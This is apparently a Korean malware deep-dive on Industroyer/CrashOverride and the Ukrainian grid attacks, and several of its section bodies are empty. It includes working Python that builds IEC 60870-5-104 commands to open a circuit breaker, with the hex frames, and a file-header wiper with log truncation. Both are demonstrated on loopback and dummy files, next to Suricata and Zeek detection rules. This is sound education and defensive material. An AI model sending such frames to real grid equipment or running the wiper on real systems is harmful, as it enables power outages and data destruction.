⚡ Industroyer / CrashOverride — '익스플로잇 없이' 전력망 프로토콜을 그대로 말한 악성코드

2026-09-17 · Malware Deep-Dive (Attack Chain)

1. 배경/역사 — 언제, 누가, 왜 유명한가

2015년 12월 23일, 우크라이나 서부 3개 지역의 배전사업자가 동시에 공격받아 약 23만 가구가 1~6시간 동안 정전됐다. 역사상 처음으로 공개적으로 인정된 '사이버 공격에 의한 정전'이었다. 사용된 도구는 BlackEnergy 3(침투·원격제어 탈취) + KillDisk(와이퍼) + 콜센터 전화 폭주(TDoS) 조합이었고, 공격자는 합법 원격관리 도구로 운영자 워크스테이션을 장악해 SCADA HMI 화면에서 직접 차단기를 열었다.

정확히 1년 뒤인 2016년 12월 17일, 키이우( Kyiv) 북부 Pivnichna 변전소에서 두 번째 정전이 발생해 키이우 전력의 약 5분의 1이 약 1시간 동안 끊겼다. 이 공격에 쓰인 악성코드는 ESET이 2017년 6월 공개했고 이름은 Industroyer, Dragos는 같은 샘플을 CrashOverride라 명명했다. 위키백과가 정리한 정의 그대로, Industroyer는 "전력망을 공격하기 위해 특별히 설계된 최초의 알려진 악성코드"이며, ICS를 겨냥한 악성코드로는 Stuxnet·Havex·BlackEnergy에 이어 4번째로 공개된 사례다.

그런데 왜 '익스플로잇 없이'인가? 산업제어 프로토콜은 수십 년 전에 '외부와 단절된 폐쇄망'을 전제로 설계되어 인증·암호화가 없다. ESET의 표현을 그대로 옮기면 "공격자들은 프로토콜 취약점을 찾을 필요가 없었고, 악성코드에게 그 프로토콜을 '말하게' 하면 됐다". Industroyer는 IEC 60870-5-101/104, IEC 61850, OPC DA 네 가지 표준을 정상 클라이언트처럼 구현해 차단기·스위치를 직접 조작했다. 제로데이 없이도 국가 전력망이 멈춘다는 사실을 증명한 사건이며, 이후 OT 보안의 교과서(IEC 62351, Purdue 구역 분리, 단방향 게이트웨이)가 다시 쓰이게 됐다.

귀속은 러시아 군정보국(GRU) 계열로 널리 알려진 Sandworm(별칭 TeleBots·Electrum, GRU 74455부대)로 평가된다. 이들은 2015년 우크라이나 전력망, 2017년 NotPetya, 2022년 Industroyer2까지 같은 계보를 이어갔다. 2022년 4월 Industroyer2는 ESET과 우크라이나 CERT-UA가 배포 전에 적발해 실제 정전은 막혔다 — 즉 이 계열은 지금도 살아 있는 위협이다.

  • 악성코드명: Industroyer (ESET 명칭) = CrashOverride (Dragos 명칭) · 후속형 Industroyer2(2022)
  • 등장/사용: 2016-12-17 키이우 정전에 사용 → 2017-06 ESET 공개 · 2015-12-23 선행 공격은 BlackEnergy 3 + KillDisk
  • 귀속: Sandworm (러시아 GRU 계열, MITRE ATT&CK G0034) — MITRE는 Industroyer를 S0604로 등록
  • 유형: 모듈형 ICS 공격 프레임워크 — 백도어 2종 + 런처 + 프로토콜 페이로드 4종 + 커스텀 포트스캐너 + 와이퍼 + DoS 구성요소
  • 핵심 기법: 취약점 악용 대신 산업 프로토콜 정상 구현(IEC 101/104/61850, OPC DA)으로 차단기 직접 조작 · Tor 기반 C2 · 근무시간 외에만 통신 · Notepad 위장 2차 백도어 · 활성화 시각 하드코딩
  • 규모(공개 수치): 2015년 3개 배전사업자 · 변전소 30곳 · 약 23만 가구 · 1~6시간 정전 · 미공급 전력 약 73 MWh / 2016년 키이우 약 1/5 지역 · 약 1시간
  • 왜 유명한가: 최초의 '프로토콜 자체를 무기화한' 전력망 악성코드 — 제로데이·익스플로잇 없이 정상 명령만으로 계통을 열었다. ICS 보안 규제·아키텍처(Purdue 모델, IEC 62351)를 바꾼 기준점이며, 2022년 Industroyer2로 계보가 이어졌다.

2. 감염·전파 경로 — '웜'이 아니라 사람이 옮긴다

Industroyer는 자기복제 웜이 아니다(Conficker나 WannaCry와 정반대다). 스캔·전파 루틴이 없고, 공격자가 손으로 조작하는 침투(hands-on-keyboard)로 배포된다. 그래서 방어 관점에서는 "악성코드 탐지"보다 침투 후 행위와 프로토콜 이상 징후 탐지가 훨씬 중요해진다. 실제 체인은 다음과 같다.

3. 동작 원리 상세 분석 — 코드/구조 레벨

ESET·Dragos 분석에 따르면 Industroyer의 구조는 모듈 묶음이다. 핵심은 "공격자가 직접 만든 커스텀 도구"라는 점 — 기존 툴을 쓰지 않고 포트스캐너까지 자체 제작해 탐지를 우회했다.

구성요소역할
메인 백도어모든 모듈 설치·제어, 원격 C2에서 명령 수신·보고
2차 백도어메모장(Notepad) 위장, 주 백도어 제거 시 재접근 경로
런처(launcher)페이로드·와이퍼 실행 담당, 활성화 시각 하드코딩(2016-12-17 / 12-20)
페이로드 4종IEC 60870-5-101, IEC 60870-5-104, IEC 61850, OPC DA — 계통 정찰 후 실제 제어 명령 발행
커스텀 포트 스캐너제어망 내부를 스캔해 조작 가능한 장비를 특정
와이퍼(wiper)핵심 레지스트리 키 삭제·파일 덮어쓰기로 부팅 불가·복구 지연 유도(ABB 계열 장비 겨냥 변형)
DoS 구성요소CVE-2015-5374: 지멘스 SIPROTEC 계전기에 조작된 단일 패킷을 보내 응답 정지 상태로 만듦

3-1. 왜 '프로토콜'이 곧 공격 표면인가

표준전송/포트용도
IEC 60870-5-101직렬(RS-232/485)원거리 감시제어(텔레컨트롤) — 구형 변전소
IEC 60870-5-104TCP 2404101을 TCP/IP로 이식 — 변전소 RTU 제어의 사실상 표준
IEC 61850MMS(TCP 102), GOOSE(L2)디지털 변전소 자동화 — 보호·계측·제어
OPC DADCOM(135 + 동적)Windows 기반 HMI/SCADA 데이터 접근 구간

핵심은 ASDU(Application Service Data Unit)의 Type ID 한 바이트다. 100은 "일반조회(지금 상태 전부 보고하라)", 45는 "단일 명령(차단기 ON/OFF)". 즉 명령 코드 한 바이트를 100에서 45로 바꾸는 것이 '감시'에서 '제어'로 넘어가는 순간이다. 인증도, 서명도, 암호화도 없다.

실제 104 프레임을 뜯어보면 아래와 같다(5장 PoC 1이 이 바이트를 직접 생성·파싱한다).

① 일반조회(정찰)   68 0E | 00 00 00 00 | 64 01 06 00 | 01 00 | 00 00 00 | 14
   └ 68=시작 0E=길이(14=4+ASDU10) | I-format 제어필드 | ASDU: TypeID=0x64(100) VSQ=01
     COT=0x0006(activate) CA=0x0001 IOA=0x000000 QOI=0x14(20=Station)

② SELECT(무장)     68 0E | 00 00 00 00 | 2D 01 06 00 | 01 00 | 01 00 00 | 8D
③ EXECUTE(차단)    68 0E | 00 00 00 00 | 2D 01 06 00 | 01 00 | 01 00 00 | 0D
   └ 2D=45(C_SC_NA_1 단일명령) · SCO 바이트 = bit0 SCS(ON/OFF) + bit2-6 QU(3=지속) + bit7 SE
     8D = 1000 1101 → SE=1(Select) · QU=3 · SCS=1(ON)
     0D = 0000 1101 → SE=0(Execute) · QU=3 · SCS=1(ON)   ← 이 1바이트 차이가 차단기를 연다

3-2. 2016년 킬체인 — '마우스가 움직이지 않았다'

4. 피해 규모/영향 — 숫자와 실제 사례

5. PoC — 교육용 모의 재현 (로컬 가상 환경 전용)

⚠️ 안전 규칙 준수: 아래 코드는 실제 악성코드가 아니며 Industroyer/BlackEnergy/KillDisk의 실제 샘플·페이로드를 복사하지 않았다. 취약점을 악용하는 익스플로잇 코드(CVE-2015-5374 트리거 바이트 포함)와 실제 대상 주소·장비 정보는 의도적으로 다루지 않는다. 모든 통신은 127.0.0.1 루프백 가상 RTU 하나뿐이고, 파일 변조는 /tmp/lab_wiper_demo 안에서 스스로 만든 더미만 대상으로 한다. 실습은 인터넷과 분리된 가상 로컬 랩 VM을 전제로 하며, 실제 환경 실행·변형·배포를 금지한다.

PoC 1 — IEC 60870-5-104 ASDU를 직접 만들어 '차단기를 여는' 구조 재현

익스플로잇이 아니라 프로토콜 규격대로 말하는 방식(= Industroyer의 핵심)을 그대로 재현한다. 가상 RTU는 SELECT/EXECUTE 절차를 검증해 상태를 바꾼다.

# industroyer_poc1_iec104.py (발췌) — 127.0.0.1:2404 루프백 가상 RTU 전용
def apdu(asdu):                       # I-format: 68 <len(4+ASDU)> <CF1..CF4> <ASDU>
    return b"\x68" + bytes([len(asdu) + 4]) + b"\x00\x00\x00\x00" + asdu

def u_frame(fn):                      # STARTDT_ACT=0x07 / TESTFR_ACT=0x43 / STOPDT_ACT=0x13
    return b"\x68\x04" + bytes([fn]) + b"\x00\x00\x00"

def general_interrogation(ca=1):      # ASDU type 100 (C_IC_NA_1) activate, QOI=20(Station)
    return apdu(bytes([100, 0x01]) + struct.pack("<H", 6) + struct.pack("<H", ca)
                + b"\x00\x00\x00" + bytes([20]))

def single_command(ca, ioa, on=True, select=False, qu=3):   # ASDU type 45 (C_SC_NA_1)
    sco = (0x80 if select else 0) | (qu << 2) | (1 if on else 0)   # SE | QU | SCS
    return apdu(bytes([45, 0x01]) + struct.pack("<H", 6) + struct.pack("<H", ca)
                + ioa.to_bytes(3, "little") + bytes([sco]))

실행 결과(실제 출력):

[① 연결 수립]  6바이트  68 04 07 00 00 00
[② 일반조회(정찰)] 16바이트  68 0E 00 00 00 00 64 01 06 00 01 00 00 00 00 14
[③ SELECT (무장)] 16바이트  68 0E 00 00 00 00 2D 01 06 00 01 00 01 00 00 8D
[④ EXECUTE (차단)] 16바이트  68 0E 00 00 00 00 2D 01 06 00 01 00 01 00 00 0D

--- 가상 RTU 로그 ---
  RTU: U-STARTDT (activate)
  RTU: C_IC_NA_1(일반조회) CA=1 COT=act(6) QOI=20
  RTU: SELECT 수신 → IOA 0x000001 무장(armed)
  RTU: EXECUTE 수신 → 차단기 상태 'OPEN(차단)' ⚠️

[*] 최종 차단기 상태: OPEN(차단)
[*] 외부 네트워크 통신: 0건 (127.0.0.1:2404 루프백 전용)
[*] 핵심: 익스플로잇 0건 — 프로토콜 규격대로 말했을 뿐이다 (Industroyer와 동일한 원리)

읽는 법: ② 64(=100)는 상태 조회, ③④ 2D(=45)는 제어 명령이다. SCO 마지막 바이트 하나가 8D(Select)에서 0D(Execute)로 바뀌는 순간 차단기가 열린다 — 총 16바이트다.

PoC 2 — KillDisk 계열 '와이퍼' 동작: 삭제가 아니라 '헤더 파괴'

와이퍼의 목적은 데이터 탈취가 아니라 복구 지연·부팅 불가다. 아래는 샌드박스 안 더미 파일의 헤더를 고정 패턴(0x21)으로 덮어 '복구 도구가 정상 파일로 인식하지 못하게' 만드는 원리를 재현한다.

# industroyer_poc2_wiper.py (발췌) — 대상: /tmp/lab_wiper_demo 하위 더미 파일만
WIPE_PATTERN = 0x21                      # 공개 분석에서 관찰된 계열 고정 패턴 중 하나

def wipe_file(path, pattern=WIPE_PATTERN, first_pct=0.10):
    """파일 앞부분(부트섹터/레코드 헤더)을 덮고 길이는 유지 → 헤더가 깨져 복구가 어려워진다"""
    size = os.path.getsize(path)
    head = max(512, int(size * first_pct))
    with open(path, "r+b") as f:
        f.seek(0)
        f.write(bytes([pattern]) * min(head, size))    # 헤더/레코드 구조 파괴
    return size

실행 결과(실제 출력):

=== ① 침해 직전 샌드박스 상태 (모두 /tmp 안 더미 파일) ===
  ./ProgramData/HMI/scada/station1.mdb                         5400 B | 정상 시그니처: 있음
  ./Windows/System32/winevt/Logs/Security.evtx                10246 B | 정상 시그니처: 있음
  ./ProgramData/HMI/scada/ops_notes.txt                        6450 B | 정상 시그니처: 있음
  ./mbr_head.bin                                                512 B | 정상 시그니처: 있음
  ./Windows/System32/config/SYSTEM.hive                        4100 B | 정상 시그니처: 있음

=== ② 와이퍼 동작 (파일 삭제가 아니라 헤더 덮어쓰기) ===
  [WIPED] ./ProgramData/HMI/scada/station1.mdb                 5400 B → 헤더 540 B를 0x21로 덮음
  [WIPED] ./Windows/System32/winevt/Logs/Security.evtx        10246 B → 헤더 1024 B를 0x21로 덮음
  [WIPED] ./ProgramData/HMI/scada/ops_notes.txt                6450 B → 헤더 645 B를 0x21로 덮음
  [WIPED] ./mbr_head.bin                                        512 B → 헤더 512 B를 0x21로 덮음
  [WIPED] ./Windows/System32/config/SYSTEM.hive                4100 B → 헤더 512 B를 0x21로 덮음

=== ③ '복구 도구'가 보는 모습 (파일 크기는 그대로, 헤더는 사라짐) ===
  ./ProgramData/HMI/scada/station1.mdb             5400 B | 선두 64B 전부 0x21: 예   | 정상 시그니처 잔존: 예
  ./Windows/System32/winevt/Logs/Security.evtx    10246 B | 선두 64B 전부 0x21: 예   | 정상 시그니처 잔존: 아니오(복구 불가)
  ./ProgramData/HMI/scada/ops_notes.txt            6450 B | 선두 64B 전부 0x21: 예   | 정상 시그니처 잔존: 예
  ./mbr_head.bin                                    512 B | 선두 64B 전부 0x21: 예   | 정상 시그니처 잔존: 아니오(복구 불가)
  ./Windows/System32/config/SYSTEM.hive            4100 B | 선두 64B 전부 0x21: 예   | 정상 시그니처 잔존: 아니오(복구 불가)

=== ④ 흔적 삭제 모의: 이벤트 로그 더미 0바이트로 절단 (실제 로그 아님) ===
  ./Windows/System32/winevt/Logs/Security.evtx → 0 B

해석(중요): station1.mdb·ops_notes.txt는 헤더가 깨졌는데도 정상 시그니처가 남았다 — 헤더만 덮고 본문이 남으면 시그니처 카빙으로 조각 복구가 가능하다는 뜻이다. 그래서 실제 KillDisk 계열은 파일 전체를 여러 번 반복 덮어쓰기하고, MBR·레지스트리 하이브까지 노린다(부팅과 시스템 복원 자체를 무력화). "삭제는 복구된다, 덮어쓰기는 복구되지 않는다"가 와이퍼 대응의 출발점이다.

PoC 3 — CVE-2015-5374 '단일 패킷 → 계전기 침묵'을 상태 기계로만 재현

DoS 구성요소가 노린 취약점(지멘스 SIPROTEC 계열)은 조작된 패킷 1개로 장비가 응답을 멈추는 유형이다. 여기서는 익스플로잇 바이트를 만들지 않고, "장비가 침묵하면 방어자가 무엇을 보게 되는가"만 재현한다.

# industroyer_poc3_relay_dos.py (발췌) — 가상 객체 1개, 네트워크 송수신 0건
class ProtectionRelay:
    def receive_packet(self, pkt):
        # 재현하는 것은 '형식이 깨진 단일 패킷 → 응답 정지'라는 결과뿐.
        # 실제로 어떤 바이트를 보내면 되는지(익스플로잇)는 다루지 않는다.
        if pkt.get("malformed") and pkt.get("fw") in ("VULN-4.6", "VULN-4.7"):
            self.state = "UNRESPONSIVE"      # 운영자에게는 '장비 고장'으로 보인다
            return "PACKET_DROPPED"
        return "ACK"

def monitor(relay, t, missed):               # 정상 계전기는 10초마다 응답한다 → 침묵이 곧 이상 신호
    if relay.state == "UNRESPONSIVE":
        missed += 1
        verdict = "CRITICAL" if missed >= 3 else "WARN"
        return missed, f"[{verdict}] {relay.name} 10초 하트비트 {missed}회 연속 실패 (ICS-104 TESTFR 무응답)"

실행 결과(실제 출력):

  t= 10s  계전기 HEARTBEAT 응답 ✅
  t= 20s  계전기 HEARTBEAT 응답 ✅
  t= 25s  조작된 단일 패킷 1건 수신 → PACKET_DROPPED (장비: UNRESPONSIVE) ⚠️
          [WARN] LAB-RELAY-01 10초 하트비트 1회 연속 실패 (ICS-104 TESTFR 무응답)
          [CRITICAL] LAB-RELAY-01 10초 하트비트 3회 연속 실패 (ICS-104 TESTFR 무응답)
          ...
=== 방어 탐지 룰 (문자열 형태, 실제 배포 아님) ===
  [Suricata]
    alert tcp $OT_NET any -> $OT_SUBNET any (msg:"ICS IEC-104 unexpected ASDU SingleCommand to relay";
      content:"|68|"; dsize:>6; byte_test:1,=,45,6; threshold:type limit,track by_src,count 5,seconds 60; sid:1000001;)
  [Zeek(ICS)]
    IEC104::command(...) { if (asdu_type == 45 || asdu_type == 100) NOTICE(["IEC-104 control/interrogation ASDU"]); }
  [OT-IDS]
    계전기 하트비트(TESTFR) 3회 연속 무응답 → 무결성 알림 + 해당 스위치 포트 미러링/차단

포인트: 단순 포트 차단이 아니라 ASDU Type ID(45/100)를 보는 탐지다. IT 보안의 "포트·시그니처" 관점으로는 정상 제어 트래픽과 공격 트래픽을 구분할 수 없다 — 같은 프로토콜, 같은 포트, 같은 명령 형식이기 때문이다.

6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나

출처

※ 본문의 PoC 코드는 구조 이해 목적의 교육용 모의 코드이며, 실제 Industroyer/BlackEnergy/KillDisk 샘플·페이로드와 취약점 익스플로잇 코드는 포함하지 않습니다. 모든 실습은 인터넷과 분리된 격리 랩 VM을 전제로 합니다.

함께 읽기: ⚛️ Stuxnet (2010) — ICS 악성코드의 원형, PLC를 속인 첫 사이버 무기 · ☠️ NotPetya (2017) — 같은 Sandworm의 파괴형 와이퍼 · 🦅 SolarWinds SUNBURST (2020) — 신뢰를 무기로 한 공급망 침투 · 💥 Emotet (2014–2021) — '1차 침투 플랫폼'으로 진화한 봇넷

목록으로 돌아가기